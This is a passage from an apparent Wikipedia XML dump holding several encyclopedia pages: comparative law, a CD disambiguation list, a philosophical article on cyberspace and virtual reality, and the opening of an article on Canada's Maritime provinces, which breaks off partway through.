Rev.'' '''D70''', 083002 (2004). {{arxiv|archive=astro-ph|id=0404567}}. C. J. Copi, D. Hueterer, D. J. Schwarz and G. D. Starkman, &quot;On the large-angle anomalies of the microwave sky&quot;, {{arxiv|archive=astro-ph|id=0508047}}.
&lt;/ref&gt;

==References==
&lt;references/&gt;

==Further reading and external links==

*Seife, Charles (2003). Breakthrough of the Year: Illuminating the Dark Universe. ''Science'' '''302''' 2038&amp;ndash;2039.
*Partridge, R. B. (1995). ''3K: The Cosmic Microwave Background Radiation''. New York: Cambridge University Press.
* [http://lambda.gsfc.nasa.gov/ NASA's Legacy Archive for Microwave Background Data Analysis (LAMBDA)]
* Wayne Hu's [http://background.uchicago.edu/ The Physics of Microwave Background Anisotropies]. An extensive collection of cosmic microwave background tutorials, animations and reviews describing the physics behind the microwave background. The materials range in detail from popular introductions to technical discussions.
*[[physical cosmology#Textbooks|Cosmology textbooks]] 

[[Category:Radio astronomy]]
[[Category:Cosmology]]

[[ca:Fons cosmològic]]
[[cs:Reliktní záření]]
[[de:Hintergrundstrahlung]]
[[es:Radiación de fondo de microondas]]
[[fr:Fond diffus cosmologique]]
[[hr:Pozadinsko zračenje]]
[[it:Radiazione cosmica di fondo]]
[[he:קרינת רקע קוסמית]]
[[hu:Mikrohullámú kozmikus háttérsugárzás]]
[[nl:Kosmische achtergrondstraling]]
[[ja:宇宙背景放射]]
[[pl:Mikrofalowe promieniowanie tła]]
[[ru:Реликтовое излучение]]
[[sk:Reliktové žiarenie]]
[[fi:Kosminen taustasäteily]]
[[sv:Kosmisk bakgrundsstrålning]]
[[vi:Bức xạ phông vi sóng vũ trụ]]
[[zh:宇宙微波背景辐射]]</text>
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  </page>
  <page>
    <title>Comparative law</title>
    <id>7378</id>
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        <username>Harro5</username>
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      <comment>removing list of literature unless cleaned up into brief section per norm</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
'''Comparative law''' has increased enormously in importance in the present age of internationalism, economic globalisation and democratisation. It is the study of differences and similarities between the [[law]] of different countries and, more generally, of the different legal families, the [[common law]] family, the [[Civil law (private law)|civil law]] family, the [[socialist law]], the [[islamic law]] family and the Asian law family. It includes the description and analysis of foreign legal systems, even where no explicit comparison is undertaken.

Several disciplines have developed as separate branches of comparative law, like comparative [[constitutional law]], comparative [[administrative law]] and comparative [[Civil law (private law)|civil law]] (in the sense of the law of torts,  delicts, contracts and obligations), comparative [[commercial law]] (in the sense of business organisations and trade), and comparative [[criminal law]]. These can in themselves be conducted as micro- or macro-comparative studies, i.e. detailed comparisons of two countries, or broad-ranging studies of several countries. Comparative civil law studies, for instance, show how the law of private relations is organised, interpreted and used in different systems or countries.

Comparative law is an academic study of existing separate systems, each one analysed in its constitutive elements, how these differ in the different systems and how these elements are combined into a system.  Thus it is different from general [[jurisprudence]] or legal theory, and [[international law]], both [[public international law]] and [[private international law]] (also known as [[conflict of laws]]), although comparative law helps inform all of these areas of normativity as comparative law can help international law institutions, such as those of the [[United Nations System]] in analyzing the laws of different countries regarding their treaty obligations or in private international law when developing an approach to interpretation in a conflicts analysis. It also contributes to legal theory by creating categories and concepts of general application, and also by providing insights into the problem of legal transplants, i.e. the transplanting of law and legal institutions from one system to another.

Comparative law is a very important discipline in communication between legal systems. It may provide the basis for the production of bilingual dictionaries that include the information necessary to make legal communication across borders successful. It also helps mutual understanding and the dispelling of prejudice and misinterpretation. It has become an essential tool in effecting legal reforms and legal transplants in developing countries and transitional-economy countries, and also in European integration.

==Relevant links==

*[http://ausicl.com The Australian Institute of Comparative Legal Systems]
[[Category:Law]]

[[et:Võrdlev õigusteadus]]
[[pt:Direito comparado]]</text>
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  <page>
    <title>Classical liberal</title>
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      <comment>#redirect:[[Classical liberalism]]</comment>
      <text xml:space="preserve">#redirect:[[Classical liberalism]]</text>
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  <page>
    <title>CD (disambiguation)</title>
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      <minor />
      <comment>de-linking non-disambiguating terms &quot;optics&quot; &amp; &quot;physics&quot;</comment>
      <text xml:space="preserve">'''CD''' may stand for:
* [[Compact disc]]
* [[.cd]], the Internet domain of the Democratic Republic of the Congo
* [[Alliance Air]] (airline code CD)
* [[Cadmium]] (chemical element Cd)
* [[Canadian Forces Decoration]] (Canadian decoration post-nominal letters)
* [[Candela]] (cd, a unit of light intensity)
* [[Cash dispenser]], in Japan
* [[CD-ROM]]
* [[Centre Democrats]] of Denmark
* [[Certificate of deposit]]
* ''[[České Dráhy]]''' (Czech Railways)
* [[Chad]] (FIPS 10-4 country code)
* [[Chart datum]], in nautical charts
* [[chdir]], a Unix and DOS command
* [[Christian Dior]]
* [[Circular dichroism]]
* [[Civil defense]]
* [[Cluster of differentiation]] (e.g. CD4 or CD8 lymphocytes)
* [[Columbus Dispatch]]
* [[Companion dog title]]
* [[Conference on Disarmament]], organized by the United Nations
* [[Congressional district]]
* [[Controlled Drug]]
* [[Convertible Debenture]]
* [[Corps Diplomatique]]
* [[Critical Dimension]] in optics and physics
* [[Crossdresser]]
* [[Democratic Republic of the Congo]] (ISO 3166 country code)
* [[Drag coefficient]] (C&lt;sub&gt;d&lt;/sub&gt;)
* A 1960s Panhard race car designed by [[Charles Deutsch]]

{{2LCdisambig}}

[[ca:Cd]]
[[cs:CD (rozcestník)]]
[[da:Cd]]
[[de:CD]]
[[es:Cd]]
[[fr:CD]]
[[ko:CD]]
[[it:Cd]]
[[nl:CD]]
[[ja:CD]]
[[nn:CD]]
[[pl:CD]]
[[ru:CD]]
[[sl:CD]]
[[zh:CD]]</text>
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  <page>
    <title>Cyberspace</title>
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      <contributor>
        <ip>66.94.94.154</ip>
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      <comment>/* Origins of the Word */</comment>
      <text xml:space="preserve">'''Cyberspace''', a metaphoric abstraction used in [[philosophy]] and [[computing]], is a [[virtual reality|(virtual) reality]] which represents the [[Noosphere]]/[[Popperian_cosmology#Worlds 1, 2 and 3]] both ''&quot;inside&quot;'' computers and ''&quot;on&quot;'' computer networks.

== Origins of the Word ==

The word &quot;cyberspace&quot; (a [[portmanteau]] of [[cybernetics]] and [[space]]) was coined by [[William Gibson (novelist)|William Gibson]], the [[Canada|Canadian]] science fiction writer, in [[1982]] in his novelette [[Hackers (short stories)#&quot;Burning Chrome&quot;|&quot;Burning Chrome&quot;]] in ''[[Omni (magazine)|Omni]]'' magazine and was subsequently popularized in his novel ''[[Neuromancer]]''. &quot;[[Meatspace]]&quot; is a term coined later as an opposite of &quot;cyberspace&quot;.

While cyberspace should not be confused with the real [[Internet]], the term is often used simply to refer to objects and identities that exist largely within the computing network itself, so that a [[website|web site]], for example, might be metaphorically said to &quot;exist in cyberspace.&quot; According to this interpretation, events taking place on the Internet are not therefore happening in the countries where the participants or the servers are physically located, but &quot;in cyberspace&quot;. This becomes a reasonable viewpoint once distributed services (e.g. [[Freenet]] or [[bittorrent]]) become widespread, and the physical identity and location of the participants become impossible to determine due to [[Anonymity|anonymous]] or [[pseudonymity|pseudonymous]] communication. The laws of any particular nation state would therefore not apply. See [[crypto-anarchism]].

Besides aiding the [[layman]]'s [[Suspension of disbelief|suspension of disbelief]] in fictional works, the success of this rather ambitiously ambiguous metaphor is in large part due to the splintering of the profession of [[Computer_programmer|Computer Programmer]] into various specialized vocations. As [http://three.org/ippolito/home.html John Ippolito] put it:
&lt;blockquote&gt;
''&quot;These days there is no reason to expect a video editor to know HTML, a web designer to know perl, a database programmer to understand packet switching.''&lt;br&gt;
&lt;br&gt;
''So to introduce his readers to cyberspace —the global fabric that supposedly knits together all these separate threads— Gibson fell back on something our culture had prepared everyone to understand: a chase sequence through an imagined space. It would seem, therefore, that the metaphor of cyberspace is not merely a narrative of convenience but a practical necessity&quot;.''
&lt;/blockquote&gt;
As well as being a concept used in philosophy and computing, cyberspace has been commonly used in popular culture, for example

* The anime ''[[Digimon]]'' is set in a version of cyberspace called the &quot;Digital World&quot;.  The Digital World is a [[Parallel universe (fiction)|parallel universe]] made up of data from the Internet.  Similar to cyberspace, except that people could physically enter this world instead of merely using a computer.
* In the math mystery cartoon ''[[Cyberchase]],'' the action takes place in Cyberspace, managed by the benevolent ruler, [[Motherboard (Cyberchase)|Motherboard]].  It is used as a conceit to allow storylines to take place in virtual worlds -- &quot;[[Cybersite]]s&quot; -- on any theme and where specific math concepts can be best explored.  
* In the movie ''[[Tron (movie)|Tron]]'', a programmer was transferred to the program world, where programs were personalities, resembling the forms of their creators.
* The idea of &quot;the matrix&quot; in the movie ''[[The Matrix]]'' resembles a complex form of cyberspace where people are &quot;jacked in&quot; from the real world, and can create anything and do anything they want in this cyber world.
* In the EXE series of MegaMan, there is a place where A.I. programs called NetNavis can &quot;jack in&quot; to Cyberspace from about any electrical appliance.

Although cyberspace is a common idea it can mean several different types of virtual reality. In the rest of this article we will explore a few, starting with the simplest and then increasing its complexity one after another until reaching the logical extremity.

==Cyberspace As a Metaphor: Text-Based Internet-Surfing==

The word “cyberspace” is A currently used in a primarily metaphoric sense and is mostly associated with the Internet. When we sit in front of a computer and turn it on, something like magic happens before us; if we are correctly hooked up we can bring up an environment of hypertext with a click of the mouse. It feels like that behind the screen, there is a potentially very huge reservoir of information that is always in the making. Such a reservoir is somewhere, out there. We are certainly aware that people who generate information, and places wherein information resides, are not behind the screen or in the hard drive, but we nevertheless take the computer as a gateway to another place where other people have done similar things. Conceptually, we tend to envision a nonphysical “space” existing between here and there, and believe that we can access that “space” by utilizing computer-based technologies. We send messages to others by [[e-mail]], or talk to others in a [[chat room]]. We play chess [[on-line]] interactively as if the rival were right before us, though invisible. By participating in an [[on-line]] teleconference, we experience some sort of presence of other conference participants. But where are we? Where are those with whom we communicate?  Since we can reach one another in a certain way, but are mutually separated after all, we tend to envisage the potential of such an electronic connection in terms of spatiality. Usually, we call it “cyberspace” that connects and separates us at the same time when we are engaged in the networked electronic communicative activities -- the “space” that seems to open up or shut down as the computer screen is activated or deactivated. In this sense, what we get from cyberspace is mostly text-based information with graphic visual aid.
 
But the concept of spatiality is based on the notion of “volume duality”, as Zettl calls it. A space has positive and negative components. The positive volume has substance, while the negative volume is empty and delineated by things with substance. For example, a room has the negative volume of usable space delineated by positive volume of walls. But text-based [[Internet]] does not have such duality. When we surf the [[Internet]] for its textual contents, we know we are spatially situated in front of a computer screen, and we cannot enter the screen and explore the unknown part of the Net as an extension of the space we are in. We know that the volume duality does not extend to the textual sources, because the screen itself belongs to the positive side of the space, and the gap between the screen and us belongs to the negative side; that is, the duality is already exhausted before we consider the textual contents on the screen. As for the gap between two words in a textual page, it only functions to separate two symbols, and symbols are not considered substantive entities.

When we read the text page by page, however, we might attribute a spatial meaning to the interval between two pages if we consider the unturned pages to be somewhere “out there.” The choice of the word “[[page]]” may also figuratively implicates a spatial interpretation. Furthermore, words such as “[[files]]”, “[[folders]]”, “[[window (computing)|windows]]”, and “[[sites]]” might even suggest that there be a spatial dynamic at work behind the scenes. But the only role of these figurative metaphors is organizing the textual contents, and the contents themselves are not figurative. The word “cyberspace” here refers, therefore, not to the content being presented to the surfer, but rather to the dynamic that enables us to surf among different units of contents. We project a figurative structure into the symbolic connections which we know clearly are not figurative or spatial. 

Therefore, “cyberspace” understood not as something other than “space” but as one kind of space, is metaphorical. Some of us call it &quot;nonphysical” space as if space allows a nonphysical version, but it remains unclear how space can be non-physical in its original sense. The metaphorical use of the term seems to be based on our understanding of the electronic connectivity, for the purpose of storing and delivering symbolic meaning, as a means of gathering and separating contents. In such a case, the word “space” might suggest a collage of positive and negative volumes, or the interplay between presence and absence of meaning. It directs us to regard the delivered meaning-complexes as delineated by operational units that are not given as symbolically meaningful, and that correspond to our actions of clicking, scrolling, typing, etc. These actions create “gaps” between our mental operations that articulate different units of meaning carried by symbols. 

The prefix “cyber” is derived from our understanding of a cybernetic process as a self-reflexive dynamic system that uses a negative feedback circuit to stabilize an open-ended process. Here the notion of cyberspace applies such an understanding of the self-reflexive mechanism in cybernetics to the meaning-making process of the hypermedia. Thus cyberspace suggests a possibly infinite number of occasions of grouping and separating, [[surfing]] and [[routing]], constructing and destroying, etc. This open-ended quality resembles the perceived infinity of the physical space that cannot be pictured as being bounded by something. It is impossible to imagine that it would reach a final closure. Similarly, the experience of always having a potential to encounter something unknown or unexpected seems to be inherent in the surfing process. This is a process of perpetual interactions. 

In the context of such a metaphor, how can we understand the notion of cyber-culture? In fact, there is a tendency in the media to equate cyberspace with [[cyberculture|cyber-culture]], and forget the hard-cored phenomenological aspect of cyberspace. When some journalists attempt to play the role of cultural critics on the Internet, they frequently convey a message that cyberspace is equivalent to a digital community or a digital city. That is, a web of personal relationships, where civic democracy is based on a balance of diversity and unity, or of coherence and openness. But such an equation between cyberspace and a web of personal relationships does not help us envision the possibilities of cyberspace and cyber-culture, because it prevents us from asking the question of how cyberspace allows for the rise of cyber-culture; nor does it help us understand the fact that the metaphoric nature of text-based cyberspace has been carried over to the current understanding of the formation of the so-called “cyber-culture”.

One assumption behind the notion of cyber community as currently held is that a community, as a cultural entity, can be formed solely on the act of communicating a shared set of social values. But in the real world, we don’t consider such an act alone a sufficient condition for cultural identity. It seems that the physical proximity, geographically and ethnically understood, is more basic for the formation of cultural identity among those with shared values. The rhetoric of cyber community has yet to be justified by solid analysis before it can hope to become a conceptual tool that helps us understand cyberspace and cyber-culture adequately.

==Cyberspace As an Incomplete Replica: Video-Based Game-Playing==

Video-based game playing differs from text-based communicating in regard to the meaning of spatiality, as long as the “gap” on the screen is a representation of the negative volume of space in the setting of the game. Video images are meant to be figures that actually occupy a space and the animation is meant to reproduce the movement of those figures in motion. Images are supposed to form the positive volume that delineates the empty space. Video images have to be able to move across the screen, on which the physical space of the game-player merges with the purported space surrounding the game figures.

A game cannot adopt itself to the cyber-culture metaphor unless it first reaches out to engage more players in the game, and then allows players to be figuratively represented on the screen. These figurative surrogates that act on behalf of the players are called “[[avatars]].” But since an avatar represents the player in an objectified manner, the alleged identity between the player’s actual body and the avatar is no more than a stipulation. In such a case, there is no primordial space constitution at the ontological level. The Husserlian constitutive act of consciousness does not take the space surrounding the avatar and the space surrounding the player’s body as one and the same space.

If we now call it “cyberspace” that allows avatars to move around as symbolic representations of the actual participant’s bodies, then the metaphoric use of the word that suggests an open-ended potential of meaning-generating and reserving would become obsolete. A notion of digital community discussed above would now demand a representation of the alleged community members by avatars. However, since the sense of participation depends strongly on the participant’s self-identity as an un-mediated subjective person from her first-person perspective, the objectified avatar necessarily creates an ontological gap that cannot be filled by stipulation, and the talk about cyber-culture remains metaphorical and flashy.

==Cyberspace As a 3-D Immersive Environment: Interacting with Synthetic Entities==

Video games don’t have to stop at the avatar-player level. Once an immersive environment is furnished in the game that separates the player from the natural environment, the objectified space will be incorporated into the first-person perspective. It will replace the original space, and the artificial space will be extending from the center of the player’s field of vision to unlimited possibilities, and thus cyberspace is experienced as the only space with no other level of spatiality being constituted. The 3-D images will be made to change according to a pattern such that the player’s movement will be experienced as moving in a stand-alone world; this world has a potential to evolve by itself, and can extend to the unknown remoteness. It is experientially equivalent to the physical world we are familiar with before we enter cyberspace. In his book, ''Get Real: A Philosophical Adventure in Virtual Reality'', [[Philip Zhai]] suggested a game-playing scenario as follows:

Suppose you and your partner are going to play the game for the first time. Before you get started, you will each be instructed to wear a helmet (or goggles) so that you won't be able to see anything except the animated video images on two small screens right in front of your eyes, and to hear anything except sounds from two earphones next to your ears. So you see 3-D animation and hear stereo sound. You need also, perhaps, to wear a pair of gloves that will both monitor your hand movement and give you different amount of pressure against your palm and fingers corresponding to your changing visual and audio sensations in the game. You are now situated in a motion tracker so that you can move freely without leaving the place and your body's movement can be detected and the signals can be fed into the computer; the computer also processes all visual, audio information as well. So you are totally wired to play an interactive game with your partner, mediated by cyberspace. Your partner is in another room, wired to the same computer, doing the same.

As soon as the game gets started, you begin to see with your eyes, hear with your ears, and feel with your hands and with the whole body, a self-contained environment isolated from the actual environment. In other words, you are immersed in cyberspace. Let us assume a typical type of game contents as follows. Your partner and you, each holding a shooting gun, are ready to fire at each other. The 3-D images are so realistic, and your body movements are coordinated with your images on the screen in such a way that you can hardly tell the difference between the animated images and your original body. Your partner looks as real as yourself. There are perhaps a few trees or rocks between you and your partner. There may also be a house you can get in and out, or what not. You can touch the leaves of the tree, and feel the hardness of the wall. So you run, turn, hide, get nervous, bumped, scared, or excited; you hear noises from different directions; when your partner shoots at you, you feel the hit on the corresponding spot of your body; you hesitate and pull the trigger to fire back...back and forth…back and forth...until one of you gets a &quot;fatal&quot; shot, bleeding, and loses the game. Now the game stops but you don't feel a sharp pain or feel like dying even if you are the loser. Actually you will shortly get unwired and come back to the actual world, alive and amazed.

In such a game-playing experience, the players must take the cyberspace as the actual space in order to get involved in the process. They must suspend the judgment whether the perceived spatiality is “real” or “illusory” and ignore what their memory tells them concerning the difference between the current immersive experience of the game and a real situation. They must respond to the objectified entities in cyberspace exactly like they do in the real world, since they visually, aurally, and kinetically experience their own bodies in the same cyberspace. The consciousness must undertake a Husserlian non-reflective act of space constitution in the same way it does for the actual space. At this point, cyberspace has realized itself as it is originally meant to be. It isolates the player from the actual space with the immersive environment; it represents the totality of the positive and negative volumes of virtual reality.

As soon as we enter into such a virtual environment that enables us to interact with one another while we are constituting the very spatiality itself, we can anticipate the formation of cyber-culture in a non-metaphoric sense. If we communicate with one another in cyberspace in such a way for the purposes of conversation, value-sharing, feeling-expressing, or project-oriented cooperation, etc., then a cyber-community can be literally formed. A cyber-culture will then follow its own destiny of rise and fall.   

The idea of a fully immersive cyberspace, such as that depicted in the matrix, is often used as a possible situation in [[epistemology]] intended to demonstrate the possibility of [[skepticism]] and present one argument for it. This is perhaps one of the most popular arguments in all of philosophy, for a discussion of it see [[brain-in-a-vat]]. It should be noticed however that the brain-in-a-vat argument is unlike cyberspace as conceived here as it talks about the sense organs being bypassed and the reality experience being fed into the brain directly. One difficulty with cyberspace as a philosophical tool to promote skepticism is that it requires the existence of a 'real world' outside of cyberspace whereas a hardline skeptic would say that it is possible for there to be no 'real world' at all.

==Cyberspace As an Augmented Habitat: Teleoperation==

Cyber-culture as discussed above is significant, but it is still non-consequential at the ontological level. The more exciting thing is that cyberspace and virtual reality can go even further. Combining it with the technology of teleoperation, we can enter into cyberspace and interact with artificial objects to manipulate the actual physical process. When I perform an act of picking a stone in cyberspace, for example, a robotic surrogate body of mine in the real world will pick up a real stone. Since all of our physical contact with the natural world for the sake of survival and prosperity is hardly more than asserting physical force to objects, robots can, in principle, perform all tasks of the same kind. So we can build the foundational part of the virtual world in which we are able to accomplish all agricultural and industrial works without ever leaving cyberspace.

Therefore, virtual reality with the capability of facilitating teleoperation will have all the necessary components of the actual world. Furthermore, if we were put into the immersive environment of cyberspace by our parents before we know anything about the actual world, and trained to do everything by teleoperation only, we will take cyberspace as the default habitat, and be unable to function well in the natural environment. As a result, we would develop a natural science about that unknown virtual world, if we are not the designer of its infrastructure and don’t know the design principles of this virtual world. Here is what Zhai wrote in his book:

&quot;Let us imagine a nation in which everyone is hooked up to a network of VR infrastructure.   They have been so hooked up since they left their mother's wombs. Immersed in cyberspace and maintaining their life by teleoperation, they have never imagined that life could be any different from that. The first person that thinks of the possibility of an alternative world like ours would be ridiculed by the majority of these citizens, just like the few enlightened ones in Plato's allegory of the cave. They cook or dine out, sleep or stay up all night, date or mate, take showers, travel for business or pleasure, conduct scientific research, philosophize, go to movies, read romances and science fiction, win contests or lose, get married or stay single, have children or have none, grow old, and die of accidents or diseases or whatever: the same life cycle as ours.&quot;

&quot;Since they are totally immersed, and they do everything necessary for their survival and prosperity while they are immersed, they don't know that they are leading a kind of life that could be viewed as illusory or synthetic from outsiders such as us. They would have no way of knowing that, unless they were told and shown the undeniable evidence. Or they would have to wait for their philosophers to help them stretch their minds by demonstrating such a possibility through reasoning.&quot;

&quot;A more interesting possibility is that their technology would lead to the invention of their own version of VR, which gives them an opportunity to reflect on the nature of 'reality' in a tangible way, just as we are now doing at this moment. Then they would possibly ask the same type of questions as we are asking now.&quot;

&quot;If there were such a free kingdom, can we say they are in a state of 'collective hallucination'? No, if by calling it a hallucination we mean to know that ours is not the same. What if I ask you: 'How can you show me that this imagined nation is not the one we are in right now?' That is, how do we know that we are not exactly those citizens immersed in VR?
In order to separate ourselves from such a possibility, let us assume the basic laws of physics in that virtual world have been programmed to be different from ours. Suppose their gravity is twice as much as ours. So their 'physical' objects of the same molecular structure as ours will accelerate, say, twice as fast when they are in free fall, and twice as heavy when they try to lift them. At the same time, they can see lights such as infrared or ultraviolet, which we cannot see. Their scientists will formulate the law of gravity according to their observations. Due to a well-coordinated interface, they can teleoperate things in our actual world smoothly and thus run their basic economy well.&quot;

&quot;Knowing all of these from our 'outside' point of view, can we thereby judge that their scientists are wrong while ours right?  Of course not, because they would have as strong a reason to tell us that our scientists are wrong.  Moreover, from their point of view, they are not doing any teleoperation, but are controlling the physical processes directly; we, not they, are in fact doing teleoperation. If we tell them that their VR outfit gives them distorted version of reality, they would tell us, by exactly the same logic, that our lack of such outfits disables us from seeing things as they are. They would ridicule us and say, 'You don't even know what ultraviolet and infrared look like!'&quot; 

When cyberspace reaches the stage of Teleoperation, cyber-cultures in every sense would be able to develop just in the same way traditional cultures do in the actual world. Therefore everything we can say about traditional cultures in general would apply to cyber-cultures, and there is no need to discuss every specific mode of cyber-culture in such a circumstance. After all, as Zhai pointed out in his book, the basic idea is simple: ontologically and functionally, the goggles are equivalent to our natural eyes, and the bodysuit is equivalent to our natural skin; there is no relevant difference between them that makes the natural real while the artificial unreal. But the significant difference lies in their relationship to human creativity: we were given one world, but make and choose the other.

==Cyberspace As an Arena of Artistic Creativity: Non-Consequential Re-Creation==

If we only had the foundational part of virtual reality serving our practical purposes, virtual reality would be no more than an efficient tool for manipulating physical processes. What will fascinate us more is the expansive part of virtual reality. This part of VR will unlock our inner energy of artistic creativity for building a synthetic world as a result of our free imagination.

This expansive part does not have the same ontological status as the foundational part since, first of all, virtual objects in it do not have their counterparts in the actual world based on physical causality. In this expansive part, we may encounter all kinds of virtual objects as a result of digital programming. We can perceive virtual rocks with or without weight, virtual stars that can disappear at any time, virtual wind that produces music, and so on. We can also have virtual animals like or unlike animals we have seen before in the actual world. Secondly, we can &quot;meet&quot; virtual &quot;human beings&quot; whose behavior is totally determined by the program. They are not agents, do not have a first-person perspective, and do not perceive or experience anything.

Therefore, in this expansive part, events are neither related to the causal process in the actual world nor initiated by an outside conscious agent. This is a world of pure simulation, or a world of ultimate re-creation. In such a world, cyberspace is a sea of meaning, and it’s so deep that any imaginable mode of artistic or recreational culture would have a chance to grow out of it.

==History==

===Early philosophical conceptions===

Before cyberspace became a technological possibility many philosophers suggested the posibility of a virtual reality similar to cyberspace. In [[The Republic]], [[Plato]] sets out his [[Plato's_allegory_of_the_cave|allegory of the cave]] which is widely cited as one of the first conceptual realities. He suggests that we are already in a form of virtual reality which we are deceived into thinking is true reality. True reality for Plato is only accesible through mental training and is the reality of the forms.

These ideas are central to [[Platonism]] and [[neo platonism]]. Perhaps the conception closest to our modern ideas of cyberspace is Descartes thought that people might be deceived by an evil demon which feeds them a false reality. This argument is the direct predesessor of the modern ideas of brain in a vat and many popular conceptions of cyberspace take Descartes ideas as their starting point.

Early philosophers also suggested the existence of a virtual cyberspace that was created by life like artistic representations. Some philosophers came to distrust art because it deceived people into entering a world which was not real and sited examples of artists whose paintings, sculptures and even literature could deceive people and animals. These ideas where reserected with increasing force as art became more and more realistic and with the invention of photography, film and finally emersive computer simulations.

=== Modern Philosophy and Cyberspace ===

Perhaps one of the first indications of cyberspace becoming a topic of deep human consequence arose during the [[1978]] [[Nova Convention]], in a conversation between [[William S. Burroughs]], [[Brion Gysin]], [[Timothy Leary]], [[Les Levine]] &amp; [[Robert Anton Wilson]] about the nature of evolution, time, space and mind. One of the underlying themes in the convention was the disenchantment with the [[Blue Sky Tribe]] and the initial cravings for [[cyberculture|&quot;cyber topics&quot;]] such as [[transhumanism]], [[Gaia theory]] and [[Decentralisation]].

William S. Burroughs' quotes from the convention:
&lt;blockquote&gt;
''&quot;Time is a resource, and time is is running out. We are stuck in this dimension of time.&quot;''&lt;br&gt;
&lt;br&gt;
''&quot;This is the space age, and we are here to go.. However, the space program has been restricted to a mediocre elite who —at great expense— have gone to the moon in an aqualung. Now, they're not really looking for space, they're looking for more time. Like the lungfish, and the walking catfish; they weren't looking for a dimension different from water, they were looking for more water&quot;.''
&lt;br&gt;
&lt;/blockquote&gt;

== See also ==
* [[Cyberpunk]]
* [[Cyberculture]]
* [[Cyberzine]]
* [[Internet art]]
* [[Noosphere]]
* [[Next nature]]
* [[Metaverse]]
* [[Digimon]]
* [[cyber law]]
* [[crypto-anarchism]]
* [[cipherspace]]
* [[information highway]]
* [[social organization of cyberspace]]
* &quot;[[virtual community]]&quot;
* [[The Wired]]

==References == 
* {{cite journal
 | author=Jon Ippolito
 | title=Cross Talk: Is Cyberspace Really a Space?
 | journal=Artbyte
 | year=December 1998–January 1999
 | pages=12–24
 }}

== External links ==
*[http://www.eff.org/~barlow/Declaration-Final.html A Declaration of the Independence of Cyberspace] by [[John Perry Barlow]]
*[http://www2.fmg.uva.nl/sociosite/websoc/indexE.html Peculiarities of Cyberspace] by Albert Benschop
*[http://www.thiemeworks.com/islands/aug/sexrnc.html Sex, Religion and Cyberspace] by [[Richard Thieme]]
*[http://www.geocities.com/Athens/3328 Get Real: A Philosophical Adventure in Virtual Reality] by [[Philip Zhai]]
*[http://www.uwichill.edu.bb/bnccde/ph29a/putnam.html Brains in a vat] philosophical argument against the idea that we could be in cyberspace and not know it by [[Hilary Putnam]]

[[Category:Virtual Reality]]
[[Category:Neologisms]]
[[Category:Computing portmanteaus]]

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[[uk:Кіберпростір]]</text>
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  </page>
  <page>
    <title>Maritimes</title>
    <id>7382</id>
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      <timestamp>2006-02-24T19:37:06Z</timestamp>
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        <ip>38.112.113.242</ip>
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      <text xml:space="preserve">[[Image:Maritimes - Provinces maritimes.png.png|right|thumb|250px|The Maritime provinces]]
:''See also [[Maritime province]] for disambiguation.''
The '''Maritime provinces''', also the '''Canadian Maritimes''' or simply '''the Maritimes''', is a [[list of regions of Canada#National regions|region]] of eastern [[Canada]] on the [[Atlantic Ocean|Atlantic]] coast, consisting of the [[provinces and territories of Canada|provinces]] of [[New Brunswick]], [[Nova Scotia]], and [[Prince Edward Island]]. The Maritimes are located northeast of [[New England]], southeast of [[Quebec]]'s [[Gaspé peninsula]], and southwest of [[Newfoundland]]. (The &quot;[[m]]&quot; in ''[[maritime]](s)'' is typically [[capitalization|capitalized]] only in political references, not generally when describing the eastern coasts.) Note that [[British Columbia]], on the Pacific Coast, is technically a maritime province as well (and contains the country's largest seaport), but is not included in the definition.

[[Newfoundland and Labrador]] is sometimes mistakenly identified as a Maritime province: it is properly part of [[Atlantic Canada]] (with the other three provinces) and, thus, referred to as an Atlantic province. Although it is located on the Atlantic coast, the [[Gulf of Saint Lawrence]] physically separates this province from the Maritimes. It also has a uniquely different history, as the colony (and later [[dominion]]) joined Canada eight decades after the three Maritime provinces. The four provinces of Atlantic Canada, with the two of [[Central Canada]], are sometimes referred to as [[Eastern Canada]].

There was talk of a [[Maritime Union]] of the three provinces to have a greater say in national affairs; however, the first discussions on the subject in [[1864]] at the [[Charlottetown Conference]] led to the larger [[Canadian Confederation]] instead.

== Major population centres ==
Populations are for [[census agglomeration|census agglomerations]] or [[census division|census divisions]], whichever are larger, and may include smaller surrounding communities. Not all geographic areas listed below are urban areas, as much of the landmass for counties and [[regional municipality|regional municipalities]] is predominantly rural.

# [[Halifax Regional Municipality, Nova Scotia|Halifax Regional Municipality]] (Nova Scotia) &amp;ndash; 359 183
# [[Saint John, New Brunswick|Saint John]] (New Brunswick) &amp;ndash; 122 678
# [[Moncton]] (New Brunswick) &amp;ndash; 117 727
# [[Cape Breton Regional Municipality, Nova Scotia|Cape Breton Regional Municipality]] (Nova Scotia) &amp;ndash; 109 300
# [[Fredericton, New Brunswick|Fredericton]] (New Brunswick) &amp;ndash; 78 950
# [[Charlottetown, Prince Edward Island|Charlottetown]] (Prince Edward Island) &amp;ndash; 58 358
# [[Lunenburg County, Nova Scotia|Lunenburg County]] (Nova Scotia) &amp;ndash; 47,591
# [[Truro, Nova Scotia|Truro]] (Nova Scotia) &amp;ndash; 44,276
# [[New Glasgow, Nova Scotia|New Glasgow]] (Nova Scotia) &amp;ndash; 36,735
# [[Cumberland County, Nova Scotia|Cumberland County]] (Nova Scotia) &amp;ndash; 32, 605
# [[Yarmouth County, Nova Scotia|Yarmouth County]] (Nova Scotia) &amp;ndash; 26,843
# [[Kentville, Nova Scotia|Kentville]] (Nova Scotia) &amp;ndash; 25,172
# [[Bathurst, New Brunswick|Bathurst]] (New Brunswick) &amp;ndash; 23,935
# [[Edmundston, New Brunswick|Edmundston]] (New Brunswick) &amp;ndash; 22,173
# [[East Hants, Nova Scotia|East Hants Municipal District]] (Nova Scotia) &amp;ndash; 20, 821
# [[Antigonish County, Nova Scotia|Antigonish County]] (Nova Scotia) &amp;ndash; 19,578
# [[Miramichi, New Brunswick|Miramichi]] (New Brunswick) &amp;ndash; 18,508
# [[Campbellton, New Brunswick|Campbellton]] (New Brunswick) &amp;ndash; 16,265 (note part of this CA population is located in Quebec)
# [[Summerside, Prince Edward Island|Summerside]] (Prince Edward Island) &amp;ndash; 16,200
# [[West Hants, Nova Scotia|West Hants Municipal District]] (Nova Scotia) &amp;ndash; 13,780
# [[Oromocto, New Brunswick|Oromocto]] (New Brunswick) &amp;ndash; 8,843

This is only a list of selected populated areas and is incomplete. There are more extensive lists at [[List of communities in Nova Scotia]], [[List of communities in New Brunswick]] and [[List of communities in Prince Edward Island]].

==Society and culture==
Maritime society is based upon a mixture of traditions and class backgrounds. Predominantly rural until recent decades, the region traces many of its cultural activities to those rural resource-based economies of fishing, farming, forestry, and coal mining.

